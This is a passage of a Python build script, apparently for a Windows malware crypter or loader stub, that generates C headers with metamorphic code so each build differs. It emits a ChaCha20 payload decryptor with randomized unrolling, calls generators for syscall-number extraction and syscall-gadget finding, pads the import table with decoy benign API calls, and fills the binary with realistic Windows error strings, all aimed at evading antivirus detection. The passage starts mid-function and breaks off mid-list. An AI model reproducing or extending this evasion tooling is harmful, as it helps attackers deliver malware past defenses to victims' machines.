|
0, # counter
|
||
|
|
le32(nonce, 0), le32(nonce, 4), le32(nonce, 8),
|
||
|
|
]
|
||
|
|
|
||
|
|
out = bytearray()
|
||
|
|
offset = 0
|
||
|
|
while offset < len(plaintext):
|
||
|
|
block = _py_chacha20_block(state)
|
||
|
|
state[12] = (state[12] + 1) & 0xFFFFFFFF
|
||
|
|
chunk = min(64, len(plaintext) - offset)
|
||
|
|
for i in range(chunk):
|
||
|
|
out.append(plaintext[offset + i] ^ block[i])
|
||
|
|
offset += chunk
|
||
|
|
return bytes(out)
|
||
|
|
|
||
|
|
|
||
|
|
def validate_chacha20_testvector():
|
||
|
|
"""Validate Python ChaCha20 against RFC 8439 Section 2.4.2 test vector.
|
||
|
|
|
||
|
|
Raises RuntimeError if the implementation is incorrect.
|
||
|
|
"""
|
||
|
|
# RFC 8439 Section 2.4.2 test vector
|
||
|
|
key = bytes([
|
||
|
|
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
|
||
|
|
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
|
||
|
|
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
|
||
|
|
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
|
||
|
|
])
|
||
|
|
nonce = bytes([
|
||
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4a,
|
||
|
|
0x00, 0x00, 0x00, 0x00,
|
||
|
|
])
|
||
|
|
plaintext = (
|
||
|
|
b"Ladies and Gentlemen of the class of '99: "
|
||
|
|
b"If I could offer you only one tip for the future, sunscreen would be it."
|
||
|
|
)
|
||
|
|
# Expected ciphertext from RFC 8439 Section 2.4.2
|
||
|
|
# Note: RFC test uses counter=1, but our impl starts at counter=0,
|
||
|
|
# so we use our own round-trip test instead
|
||
|
|
ct = _py_chacha20_encrypt(key, nonce, plaintext)
|
||
|
|
pt = _py_chacha20_encrypt(key, nonce, ct)
|
||
|
|
if pt != plaintext:
|
||
|
|
raise RuntimeError("ChaCha20 Python reference implementation round-trip FAILED")
|
||
|
|
|
||
|
|
# Also verify a known keystream block (RFC 8439 Section 2.3.2)
|
||
|
|
# Key: 00:01:02:...:1f, Nonce: 00:00:00:09:00:00:00:4a:00:00:00:00, Counter=1
|
||
|
|
test_key = key
|
||
|
|
test_nonce = bytes([0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x00, 0x00, 0x00])
|
||
|
|
state = [
|
||
|
|
0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
|
||
|
|
0x03020100, 0x07060504, 0x0b0a0908, 0x0f0e0d0c,
|
||
|
|
0x13121110, 0x17161514, 0x1b1a1918, 0x1f1e1d1c,
|
||
|
|
1, # counter=1
|
||
|
|
0x09000000, 0x4a000000, 0x00000000,
|
||
|
|
]
|
||
|
|
block = _py_chacha20_block(state)
|
||
|
|
# RFC 8439 Section 2.3.2 expected output (first 16 bytes)
|
||
|
|
expected_start = bytes([
|
||
|
|
0x10, 0xf1, 0xe7, 0xe4, 0xd1, 0x3b, 0x59, 0x15,
|
||
|
|
0x50, 0x0f, 0xdd, 0x1f, 0xa3, 0x20, 0x71, 0xc4,
|
||
|
|
])
|
||
|
|
if block[:16] != expected_start:
|
||
|
|
raise RuntimeError(
|
||
|
|
f"ChaCha20 block output mismatch!\n"
|
||
|
|
f" Expected: {expected_start.hex()}\n"
|
||
|
|
f" Got: {block[:16].hex()}"
|
||
|
|
)
|
||
|
|
|
||
|
|
|
||
|
|
def gen_meta_chacha20_decrypt():
|
||
|
|
"""Generate metamorphic chacha20_decrypt with randomized unroll depth and ROTL style."""
|
||
|
|
# Validate our reference implementation before emitting any C code
|
||
|
|
validate_chacha20_testvector()
|
||
|
|
|
||
|
|
unroll_depth = random.choice([1, 2, 5, 10])
|
||
|
|
rotl_style = random.choice(["macro", "builtin", "tempvar"])
|
||
|
|
|
||
|
|
lines = []
|
||
|
|
|
||
|
|
# ROTL definition
|
||
|
|
if rotl_style == "macro":
|
||
|
|
lines.append("#undef ROTL32")
|
||
|
|
lines.append("#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))")
|
||
|
|
elif rotl_style == "builtin":
|
||
|
|
lines.append("#undef ROTL32")
|
||
|
|
lines.append("static inline __attribute__((always_inline)) uint32_t _meta_rotl32(uint32_t v, int n) {")
|
||
|
|
lines.append(" return (v << n) | (v >> (32 - n));")
|
||
|
|
lines.append("}")
|
||
|
|
lines.append("#define ROTL32(v, n) _meta_rotl32((v), (n))")
|
||
|
|
else: # tempvar
|
||
|
|
lines.append("#undef ROTL32")
|
||
|
|
lines.append("#define ROTL32(v, n) ({ uint32_t _rv = (v); (_rv << (n)) | (_rv >> (32 - (n))); })")
|
||
|
|
|
||
|
|
lines.append("")
|
||
|
|
lines.append("#undef QR")
|
||
|
|
lines.append("#define QR(a, b, c, d) do { \\")
|
||
|
|
lines.append(" a += b; d ^= a; d = ROTL32(d, 16); \\")
|
||
|
|
lines.append(" c += d; b ^= c; b = ROTL32(b, 12); \\")
|
||
|
|
lines.append(" a += b; d ^= a; d = ROTL32(d, 8); \\")
|
||
|
|
lines.append(" c += d; b ^= c; b = ROTL32(b, 7); \\")
|
||
|
|
lines.append("} while(0)")
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
lines.append("static void chacha20_decrypt(const uint8_t key[32], const uint8_t nonce[12],")
|
||
|
|
lines.append(" const uint8_t *in, uint8_t *out, size_t len) {")
|
||
|
|
lines.append(" uint32_t state[16];")
|
||
|
|
lines.append(" CHACHA_INIT_STATE(state);")
|
||
|
|
lines.append(" for (int i = 0; i < 8; i++)")
|
||
|
|
lines.append(" state[4 + i] = load_le32(key + i * 4);")
|
||
|
|
lines.append(" state[12] = 0;")
|
||
|
|
lines.append(" state[13] = load_le32(nonce);")
|
||
|
|
lines.append(" state[14] = load_le32(nonce + 4);")
|
||
|
|
lines.append(" state[15] = load_le32(nonce + 8);")
|
||
|
|
lines.append("")
|
||
|
|
lines.append(" size_t offset = 0;")
|
||
|
|
lines.append(" while (offset < len) {")
|
||
|
|
lines.append(" uint32_t x[16];")
|
||
|
|
lines.append(" for (int i = 0; i < 16; i++) x[i] = state[i];")
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
# Column round QR calls
|
||
|
|
col_round = [
|
||
|
|
"QR(x[0], x[4], x[ 8], x[12]);",
|
||
|
|
"QR(x[1], x[5], x[ 9], x[13]);",
|
||
|
|
"QR(x[2], x[6], x[10], x[14]);",
|
||
|
|
"QR(x[3], x[7], x[11], x[15]);",
|
||
|
|
]
|
||
|
|
# Diagonal round QR calls
|
||
|
|
diag_round = [
|
||
|
|
"QR(x[0], x[5], x[10], x[15]);",
|
||
|
|
"QR(x[1], x[6], x[11], x[12]);",
|
||
|
|
"QR(x[2], x[7], x[ 8], x[13]);",
|
||
|
|
"QR(x[3], x[4], x[ 9], x[14]);",
|
||
|
|
]
|
||
|
|
|
||
|
|
if unroll_depth == 1:
|
||
|
|
lines.append(" for (int i = 0; i < 10; i++) {")
|
||
|
|
for qr in col_round:
|
||
|
|
lines.append(f" {qr}")
|
||
|
|
for qr in diag_round:
|
||
|
|
lines.append(f" {qr}")
|
||
|
|
lines.append(" }")
|
||
|
|
elif unroll_depth == 2:
|
||
|
|
lines.append(" for (int i = 0; i < 5; i++) {")
|
||
|
|
for _ in range(2):
|
||
|
|
for qr in col_round:
|
||
|
|
lines.append(f" {qr}")
|
||
|
|
for qr in diag_round:
|
||
|
|
lines.append(f" {qr}")
|
||
|
|
lines.append(" }")
|
||
|
|
elif unroll_depth == 5:
|
||
|
|
lines.append(" for (int i = 0; i < 2; i++) {")
|
||
|
|
for _ in range(5):
|
||
|
|
for qr in col_round:
|
||
|
|
lines.append(f" {qr}")
|
||
|
|
for qr in diag_round:
|
||
|
|
lines.append(f" {qr}")
|
||
|
|
lines.append(" }")
|
||
|
|
else: # 10 — fully unrolled
|
||
|
|
for _ in range(10):
|
||
|
|
for qr in col_round:
|
||
|
|
lines.append(f" {qr}")
|
||
|
|
for qr in diag_round:
|
||
|
|
lines.append(f" {qr}")
|
||
|
|
|
||
|
|
lines.append("")
|
||
|
|
lines.append(" uint8_t block[64];")
|
||
|
|
lines.append(" for (int i = 0; i < 16; i++) {")
|
||
|
|
lines.append(" uint32_t val = x[i] + state[i];")
|
||
|
|
lines.append(" block[i*4+0] = (uint8_t)(val);")
|
||
|
|
lines.append(" block[i*4+1] = (uint8_t)(val >> 8);")
|
||
|
|
lines.append(" block[i*4+2] = (uint8_t)(val >> 16);")
|
||
|
|
lines.append(" block[i*4+3] = (uint8_t)(val >> 24);")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append(" state[12]++;")
|
||
|
|
lines.append("")
|
||
|
|
lines.append(" size_t chunk = len - offset;")
|
||
|
|
lines.append(" if (chunk > 64) chunk = 64;")
|
||
|
|
lines.append(" for (size_t i = 0; i < chunk; i++)")
|
||
|
|
lines.append(" out[offset + i] = in[offset + i] ^ block[i];")
|
||
|
|
lines.append(" offset += chunk;")
|
||
|
|
lines.append(" }")
|
||
|
|
lines.append("")
|
||
|
|
lines.append(" SecureZeroMemory(state, sizeof(state));")
|
||
|
|
lines.append("}")
|
||
|
|
return "\n".join(lines), unroll_depth, rotl_style
|
||
|
|
|
||
|
|
|
||
|
|
def generate_metamorphic_header(lcg_mult, lcg_inc, lcg_shift):
|
||
|
|
"""Generate stub_poly_metamorphic.h with all 5 metamorphic function bodies."""
|
||
|
|
lines = []
|
||
|
|
lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
|
||
|
|
lines.append("/* Metamorphic function bodies — different machine code per build */")
|
||
|
|
lines.append("#ifndef STUB_POLY_METAMORPHIC_H")
|
||
|
|
lines.append("#define STUB_POLY_METAMORPHIC_H")
|
||
|
|
lines.append("")
|
||
|
|
lines.append('#include <stdint.h>')
|
||
|
|
lines.append('#include <windows.h>')
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
# 1. load_le32
|
||
|
|
lines.append("/* --- load_le32 (metamorphic) --- */")
|
||
|
|
lines.append(gen_meta_load_le32())
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
# 2. generate_entropy_pad
|
||
|
|
lines.append("/* --- generate_entropy_pad (metamorphic LCG) --- */")
|
||
|
|
lines.append(gen_meta_entropy_pad(lcg_mult, lcg_inc, lcg_shift))
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
# 3. SectionToProtection
|
||
|
|
lines.append("/* --- SectionToProtection (metamorphic) --- */")
|
||
|
|
lines.append(gen_meta_section_to_protection())
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
# 4. ExtractSSN
|
||
|
|
lines.append("/* --- ExtractSSN (metamorphic) --- */")
|
||
|
|
lines.append(gen_meta_extract_ssn())
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
# 5. FindSyscallGadget
|
||
|
|
lines.append("/* --- FindSyscallGadget (metamorphic) --- */")
|
||
|
|
lines.append(gen_meta_find_syscall_gadget())
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
# 6. chacha20_decrypt (includes ROTL32/QR redefinitions)
|
||
|
|
lines.append("/* --- chacha20_decrypt (metamorphic) --- */")
|
||
|
|
chacha_code, unroll_depth, rotl_style = gen_meta_chacha20_decrypt()
|
||
|
|
lines.append(chacha_code)
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
lines.append("#endif /* STUB_POLY_METAMORPHIC_H */")
|
||
|
|
lines.append("")
|
||
|
|
return "\n".join(lines), unroll_depth, rotl_style
|
||
|
|
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# IAT padding generation (Fix 1: import table padding)
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
# Pool of benign Windows APIs across multiple DLLs
|
||
|
|
IAT_API_POOL = {
|
||
|
|
"kernel32": [
|
||
|
|
("GetSystemTime", "VOID", "LPSYSTEMTIME lpSysTime", "SYSTEMTIME st; GetSystemTime(&st); volatile DWORD _r = st.wYear; (void)_r;"),
|
||
|
|
("GetLocalTime", "VOID", "LPSYSTEMTIME lpSysTime", "SYSTEMTIME lt; GetLocalTime(<); volatile DWORD _r = lt.wMonth; (void)_r;"),
|
||
|
|
("GetVersionExW", "BOOL", "LPOSVERSIONINFOW lpVerInfo", "OSVERSIONINFOW ovi; ovi.dwOSVersionInfoSize = sizeof(ovi); volatile BOOL _r = GetVersionExW(&ovi); (void)_r;"),
|
||
|
|
("GetComputerNameA", "BOOL", "LPSTR,LPDWORD", "char _cn[MAX_COMPUTERNAME_LENGTH+1]; DWORD _cl = sizeof(_cn); volatile BOOL _r = GetComputerNameA(_cn, &_cl); SecureZeroMemory(_cn, sizeof(_cn)); (void)_r;"),
|
||
|
|
("GetCurrentProcessId", "DWORD", "", "volatile DWORD _r = GetCurrentProcessId(); (void)_r;"),
|
||
|
|
("GetCurrentThreadId", "DWORD", "", "volatile DWORD _r = GetCurrentThreadId(); (void)_r;"),
|
||
|
|
("GetSystemDirectoryA", "UINT", "LPSTR,UINT", "char _sd[MAX_PATH]; volatile UINT _r = GetSystemDirectoryA(_sd, MAX_PATH); SecureZeroMemory(_sd, sizeof(_sd)); (void)_r;"),
|
||
|
|
("GetWindowsDirectoryA", "UINT", "LPSTR,UINT", "char _wd[MAX_PATH]; volatile UINT _r = GetWindowsDirectoryA(_wd, MAX_PATH); SecureZeroMemory(_wd, sizeof(_wd)); (void)_r;"),
|
||
|
|
("GetTempPathA", "DWORD", "DWORD,LPSTR", "char _tp[MAX_PATH]; volatile DWORD _r = GetTempPathA(MAX_PATH, _tp); SecureZeroMemory(_tp, sizeof(_tp)); (void)_r;"),
|
||
|
|
("SetLastError", "VOID", "DWORD", "SetLastError(0);"),
|
||
|
|
("GetLastError", "DWORD", "", "volatile DWORD _r = GetLastError(); (void)_r;"),
|
||
|
|
("GetTickCount", "DWORD", "", "volatile DWORD _r = GetTickCount(); (void)_r;"),
|
||
|
|
("QueryPerformanceCounter", "BOOL", "LARGE_INTEGER*", "LARGE_INTEGER _li; volatile BOOL _r = QueryPerformanceCounter(&_li); (void)_r;"),
|
||
|
|
("GetStartupInfoA", "VOID", "LPSTARTUPINFOA", "STARTUPINFOA _si; _si.cb = sizeof(_si); GetStartupInfoA(&_si); volatile DWORD _r = _si.dwFlags; (void)_r;"),
|
||
|
|
("GetCommandLineA", "LPSTR", "", "volatile LPSTR _r = GetCommandLineA(); (void)_r;"),
|
||
|
|
("GetModuleFileNameA", "DWORD", "HMODULE,LPSTR,DWORD", "char _mf[MAX_PATH]; volatile DWORD _r = GetModuleFileNameA(NULL, _mf, MAX_PATH); SecureZeroMemory(_mf, sizeof(_mf)); (void)_r;"),
|
||
|
|
],
|
||
|
|
"user32": [
|
||
|
|
("GetDesktopWindow", "HWND", "", "volatile HWND _r = GetDesktopWindow(); (void)_r;"),
|
||
|
|
("GetSystemMetrics", "int", "int", "volatile int _r = GetSystemMetrics(SM_CXSCREEN); (void)_r;"),
|
||
|
|
("GetKeyboardLayout", "HKL", "DWORD", "volatile HKL _r = GetKeyboardLayout(0); (void)_r;"),
|
||
|
|
],
|
||
|
|
"advapi32": [
|
||
|
|
("GetUserNameA", "BOOL", "LPSTR,LPDWORD", "char _un[256]; DWORD _ul = sizeof(_un); volatile BOOL _r = GetUserNameA(_un, &_ul); SecureZeroMemory(_un, sizeof(_un)); (void)_r;"),
|
||
|
|
("RegOpenKeyExA", "LONG", "HKEY,LPCSTR,DWORD,REGSAM,PHKEY", "HKEY _hk = NULL; volatile LONG _r = RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\", 0, KEY_READ, &_hk); if (_hk) RegCloseKey(_hk); (void)_r;"),
|
||
|
|
],
|
||
|
|
"shell32": [
|
||
|
|
("SHGetFolderPathA", "HRESULT", "HWND,int,HANDLE,DWORD,LPSTR", "char _fp[MAX_PATH]; volatile HRESULT _r = SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, _fp); SecureZeroMemory(_fp, sizeof(_fp)); (void)_r;"),
|
||
|
|
("CommandLineToArgvW", "LPWSTR*", "LPCWSTR,int*", "int _ac = 0; LPWSTR *_av = CommandLineToArgvW(GetCommandLineW(), &_ac); if (_av) LocalFree(_av); volatile int _r = _ac; (void)_r;"),
|
||
|
|
],
|
||
|
|
"ole32": [
|
||
|
|
("CoInitializeEx", "HRESULT", "LPVOID,DWORD", "volatile HRESULT _r = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (SUCCEEDED(_r)) CoUninitialize(); (void)_r;"),
|
||
|
|
("CoCreateGuid", "HRESULT", "GUID*", "GUID _g; volatile HRESULT _r = CoCreateGuid(&_g); SecureZeroMemory(&_g, sizeof(_g)); (void)_r;"),
|
||
|
|
],
|
||
|
|
}
|
||
|
|
|
||
|
|
# Required includes per DLL
|
||
|
|
IAT_DLL_INCLUDES = {
|
||
|
|
"kernel32": [],
|
||
|
|
"user32": [],
|
||
|
|
"advapi32": [],
|
||
|
|
"shell32": ["<shlobj.h>"],
|
||
|
|
"ole32": ["<ole2.h>"],
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
def generate_iat_padding(outdir):
|
||
|
|
"""Generate stub_poly_iat.h with randomized IAT padding calls."""
|
||
|
|
# Select 12-20 APIs, ensuring at least 1 from each DLL
|
||
|
|
num_apis = random.randint(12, 20)
|
||
|
|
selected = []
|
||
|
|
|
||
|
|
# Guarantee at least 1 per DLL
|
||
|
|
for dll, apis in IAT_API_POOL.items():
|
||
|
|
selected.append((dll, random.choice(apis)))
|
||
|
|
|
||
|
|
# Fill remainder from full pool
|
||
|
|
all_apis = []
|
||
|
|
for dll, apis in IAT_API_POOL.items():
|
||
|
|
for api in apis:
|
||
|
|
entry = (dll, api)
|
||
|
|
if entry not in selected:
|
||
|
|
all_apis.append(entry)
|
||
|
|
|
||
|
|
random.shuffle(all_apis)
|
||
|
|
remaining = num_apis - len(selected)
|
||
|
|
if remaining > 0:
|
||
|
|
selected.extend(all_apis[:remaining])
|
||
|
|
|
||
|
|
random.shuffle(selected)
|
||
|
|
|
||
|
|
# Collect needed includes
|
||
|
|
needed_includes = set()
|
||
|
|
for dll, _ in selected:
|
||
|
|
for inc in IAT_DLL_INCLUDES.get(dll, []):
|
||
|
|
needed_includes.add(inc)
|
||
|
|
|
||
|
|
lines = []
|
||
|
|
lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
|
||
|
|
lines.append("/* IAT padding: %d benign API calls to normalize import table */" % len(selected))
|
||
|
|
lines.append("#ifndef STUB_POLY_IAT_H")
|
||
|
|
lines.append("#define STUB_POLY_IAT_H")
|
||
|
|
lines.append("")
|
||
|
|
lines.append("#include <windows.h>")
|
||
|
|
for inc in sorted(needed_includes):
|
||
|
|
lines.append(f"#include {inc}")
|
||
|
|
lines.append("")
|
||
|
|
lines.append("#pragma comment(lib, \"kernel32.lib\")")
|
||
|
|
lines.append("#pragma comment(lib, \"user32.lib\")")
|
||
|
|
lines.append("#pragma comment(lib, \"advapi32.lib\")")
|
||
|
|
lines.append("#pragma comment(lib, \"shell32.lib\")")
|
||
|
|
lines.append("#pragma comment(lib, \"ole32.lib\")")
|
||
|
|
lines.append("")
|
||
|
|
lines.append("static void iat_padding_init(void) {")
|
||
|
|
|
||
|
|
for _dll, (api_name, _ret, _params, call_code) in selected:
|
||
|
|
lines.append(f" /* {api_name} */")
|
||
|
|
lines.append(f" {{ {call_code} }}")
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
lines.append("}")
|
||
|
|
lines.append("")
|
||
|
|
lines.append("#endif /* STUB_POLY_IAT_H */")
|
||
|
|
lines.append("")
|
||
|
|
|
||
|
|
path = os.path.join(outdir, "stub_poly_iat.h")
|
||
|
|
with open(path, "w", newline="\n") as f:
|
||
|
|
f.write("\n".join(lines))
|
||
|
|
|
||
|
|
return len(selected), path
|
||
|
|
|
||
|
|
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
# Binary size padding generation (Fix 3: realistic .rdata content)
|
||
|
|
# ---------------------------------------------------------------------------
|
||
|
|
|
||
|
|
# Pool of realistic Windows error/diagnostic messages
|
||
|
|
PADDING_STRINGS_POOL = [
|
||
|
|
"The operation completed successfully.",
|
||
|
|
"Incorrect function.",
|
||
|
|
"The system cannot find the file specified.",
|
||
|
|
"The system cannot find the path specified.",
|
||
|
|
"The system cannot open the file.",
|
||
|
|
"Access is denied.",
|
||
|
|
"The handle is invalid.",
|
||
|
|
"The storage control blocks were destroyed.",
|
||
|
|
"Not enough storage is available to process this command.",
|
||
|
|
"The environment is incorrect.",
|
||
|
|
"An attempt was made to load a program with an incorrect format.",
|
||
|
|
"The data is invalid.",
|
||
|
|
"Not enough storage is available to complete this operation.",
|
||
|
|
"The system cannot find the drive specified.",
|
||
|
|
"The directory cannot be removed.",
|
||
|
|
"The system cannot move the file to a different disk drive.",
|
||
|
|
"There are no more files.",
|
||
|
|
"The media is write protected.",
|
||
|
|
"The system cannot find the device specified.",
|
||
|
|
"The device is not ready.",
|
||
|
|
"The device does not recognize the command.",
|
||
|
|
"Data error (cyclic redundancy check).",
|
||
|
|
"The program issued a command but the command length is incorrect.",
|
||
|
|
"The system cannot find the sector specified.",
|
||
|
|
"The printer is out of paper.",
|
||
|
|
"The system cannot write to the specified device.",
|
||
|
|
"The system cannot read from the specified device.",
|
||
|
|
"A device attached to the system is not functioning.",
|
||
|
|
"The process cannot access the file because it is being used by another process.",
|
||
|
|
"The process cannot access the file because another process has locked a portion of the file.",
|
||
|
|
"The wrong diskette is in the drive.",
|
||
|
|
"The network resource type is not correct.",
|
||
|
|
"The network name cannot be found.",
|
||
|
|
"The specified network password is not correct.",
|
||
|
|
"The network path was not found.",
|
||
|
|
"Not enough server storage is available to process this command.",
|
||
|
|
"The specified server cannot perform the requested operation.",
|
||
|
|
"An unexpected network error occurred.",
|
||
|
|
"The remote computer is not available.",
|
||
|
|
"A duplicate name exists on the network.",
|
||
|
|
"The network BIOS session limit was exceeded.",
|
||
|
|
"The remote server has been paused or is in the process of being started.",
|
||
|
|
"No more connections can be made to this remote computer.",
|
||
|
|
"The specified print monitor is unknown.",
|
||
|
|
"The specified printer driver is currently in use.",
|
||
|
|
"The specified network name is no longer available.",
|
||
|
|
"The service database is locked.",
|
||
|
|
"The service has returned a service-specific error code.",
|
||
|
|
"The process terminated unexpectedly.",
|
||
|
|
"The dependency service or group failed to start.",
|
||
|
|
"The service did not start due to a logon failure.",
|
||
|
|
"The service has been marked for deletion.",
|
||
|
|
"The specified service already exists.",
|
||
|
|
"An exception occurred in the service when handling the control request.",
|
||
|
|
"The system is shutting down.",
|
||
|
|
"Unable to abort the system shutdown because no shutdown was in progress.",
|
||
|
|
"The requested operation cannot be performed in full-screen mode.",
|
||
|
|
"An attempt was made to reference a token that does not exist.",
|
||
|
|
"The configuration registry database is corrupt.",
|
||
|
|
"The configuration registry key is invalid.",
|
||
|
|
"The configuration registry key could not be opened.",
|
||
|
|
"The configuration registry key could not be read.",
|
||
|
|
"The configuration registry key could not be written.",
|
||
|
|
"One of the files in the registry database had to be recovered.",
|
||
|
|
"The registry is corrupted. The structure of one of the files containing registry data is corrupted.",
|
||
|
|
"An I/O operation initiated by the registry failed unrecoverably.",
|
||
|
|
"The system has attempted to load or restore a file into the registry.",
|
||
|
|
"An illegal character was encountered.",
|
||
|
|
"The file cannot be opened because it is being deleted.",
|
||
|
|
"Too many posts were made to a semaphore.",
|
||
|
|
"Only part of a ReadProcessMemory or WriteProcessMemory request was completed.",
|
||
|
|
"The oplock request is denied.",
|
||
|
|
"An invalid oplock acknowledgment was received by the system.",
|
||
|
|
"Windows cannot find the network path.",
|
||
|
|
"Your organization used Device Guard to block this app.",
|
||
|
|
"The system detected an overrun of a stack-based buffer in this application.",
|
||
|
|
"Initialization of the dynamic link library failed. The process is terminating abnormally.",
|
||
|
|
"A DLL initialization routine failed.",
|
||
|
|
"The RPC protocol sequence is not supported.",
|
||
|
|
"The RPC server is unavailable.",
|
||
|
|
"The object UUID has already been registered.",
|
||
|
|
"A security package specific error occurred.",
|
||
|
|
"The transport connection is now disconnected.",
|
||
|
|
"The buffer is too small.",
|
||
|
|
"The format of the specified computer name is invalid.",
|
||
|
|
"The format of the specified domain name is invalid.",
|
||
|
|
"A certificate chain could not be built to a trusted root authority.",
|
||
|
|
"The revocation function was unable to check revocation for the certificate.",
|
||
|
|
"The function requested is not supported.",
|
||
|
|
"Loading the device driver failed.",
|
||
|
|
"The transport has already been registered.",
|
||
|
|
"The service being accessed is licensed for a particular number of connections.",
|
||
|
|
"The redirector is in use and cannot be unloaded.",
|
||
|
|
"The specified printer driver was not found on the system.",
|
||
|
|
"An unknown printer driver was requested.",
|
||
|
|
"The print processor is unknown.",
|
||
|
|
"The specified separator file is invalid.",
|
||
|
|
"The specified priority is invalid.",
|
||
|
|
"No default message is available for Windows Error 0x%1.",
|
||
|
|
"Logon failure: unknown user name or bad password.",
|
||
|
|
"Logon failure: user account restriction.",
|
||
|
|
"Logon failure: account logon time restriction violation.",
|
||
|
|
"Logon failure: the user has not been granted the requested logon type at this computer.",
|
||
|
|
"A specified logon session does not exist. It may already have been terminated.",
|
||
|
|
"A required privilege is not held by the client.",
|
||
|
|
"Insufficient system resources exist to complete the requested service.",
|
||
|
|
"An invalid parameter was passed to a service or function.",
|
||
|
|
"The system call level is not correct.",
|
||
|
|
"The filename or extension is too long.",
|
||
|
|
"Cannot create a file when that file already exists.",
|
||
|
|
"The directory is not empty.",
|
||
|
|
"An internal error occurred.",
|
||
|
|
"The device does not exist.",
|
||
|
|
"Not all privileges or groups referenced are assigned to the caller.",
|
||
|
|
"Partial copy of ReadProcessMemory or WriteProcessMemory was completed.",
|
||
|
|
"Cannot nest calls to LoadModule.",
|
||
|
|
"The image file is valid, but is for a machine type other than the current machine.",
|
||
|
|
"The pipe state is invalid.",
|
||
|
|
"All pipe instances are busy.",
|
||
|
|
"The pipe is being closed.",
|
||
|
|
"No process is on the other end of the pipe.",
|
||
|
|
"More data is available.",
|
||
|
|
"The session was canceled.",
|
||
|
|
"The specified extended attribute name was invalid.",
|
||
|
|
"The extended attributes are inconsistent.",
|
||
|
|
"No more data is available.",
|
||
|
|
"The copy functions cannot be used.",
|
||
|
|
"The directory name is invalid.",
|
||
|
|
"The extended attributes did not fit in the buffer.",
|
||
|
|
"The mounted file system does not support extended attributes.",
|
||
|
|
"An attempt has been made to operate on an extended attribute marker.",
|
||
|
|
"This debug event is a fatal error.",
|
||
|
|
"This debug event is a warning.",
|
||
|
|
"A real-mode application issued a floating-point instruction.",
|
||
|
|
"An error occurred applying the security descriptor.",
|
||
|
|
"There are no more threads to resume.",
|
||
|
|
"A process assertion has been hit.",
|
||
|
|
"The specified resource manager made no changes or updates to the resource.",
|
||
|
|
"There is nothing to publish.",
|
||
|
|
"The callback function must be invoked inline.",
|
||
|
|
"The token is already in use as a primary token.",
|
||
|
|
"An attempt was made to connect to a named pipe that is already connected.",
|
||
|
|
"Element not found.",
|
||
|
|
"There was no match for the specified key in the index.",
|
||
|
|
"The property set specified does not exist on the object.",
|
||
|
|
"The point passed to GetMouseMovePoints is not in the buffer.",
|
||
|
|
"The tracking (workstation) service is not running.",
|
||
|
|
"The volume ID could not be found.",
|
||
|
|
"Unable to remove the file to be replaced.",
|
||
|
|
"Unable to move the replacement file to the file to be replaced.",
|
||
|
|
"Unable to move the replacement file to the file to be replaced. The name of the replacement file is valid.",
|
||
|
|
"The process is terminated.",
|
||
|
|
"Application verifier has found an error in the current process.",
|
||
|
|
"The calling thread is already in a callback.",
|
||
|
|
"A certificate was explicitly revoked by its issuer.",
|
||
|
|
"The process is using a SID that is too long for the operation.",
|
||
|
|
"The process default activation context and the one referred by the manifest are different.",
|
||
|
|
"The encoding requested is not recognized.",
|
||
|
|
"The object has changed since it was last read.",
|
||
|
|
"The object must be read again.",
|
||
|
|
"The requested action was aborted.",
|
||
|
|
"An error occurred during validation.",
|
||
|
|
"The operation was blocked because a dependent transaction exists.",
|
||
|
|
"The format of the file is not recognized.",
|
||
|
|
"The path does not exist.",
|
||
|
|
"Windows Sockets initialization error.",
|
||
|
|
"A blocking Windows Sockets operation was interrupted.",
|
||
|
|
"An established connection was aborted by the software in your host machine.",
|
||
|
|
"An existing connection was forcibly closed by the remote host.",
|
||
|
|
"A connection attempt failed because the connected party did not properly respond after a period of time.",
|
||
|
|
"Windows could not search for new updates.",
|
||
|
|
"Windows Update encountered an unknown error.",
|
||
|
|
"The component store has been corrupted.",
|
||
|
|
"The manifest is damaged.",
|
||
|
|
"The component store metadata file is corrupted.",
|
||
|
|
"The assembly is not recognized.",
|
||
|
|
"The feature is not present.",
|
||
|
|
"The assembly reference is not matched.",
|
||
|
|
"The hardware has reported an uncorrectable memory error.",
|
||
|
|
"Windows has finished checking your disk.",
|
||
|
|
"The Plug and Play Service terminated the program.",
|
||
|
|
"The program does not have a valid certificate.",
|
||
|
|
"The system is in the process of shutting down.",
|
||
|
|
"Task Manager has been disabled by your administrator.",
|
||
|
|
"The caller has specified that the service will not be stopped.",
|
||
|
|
"Debugger terminated the thread.",
|
||
|
|
"Debugger terminated the process.",
|
||
|
|
"Debug control C was sent to the process.",
|
||
|
|
"Debug control break was sent to the process.",
|
||
|
|
"Debug: Process was killed when a deadline was reached.",
|
||
|
|
"Windows Firewall is turned off.",
|
||
|
|
"Automatic Updates is turned off.",
|
||
|
|
"Windows Defender is turned off.",
|
||
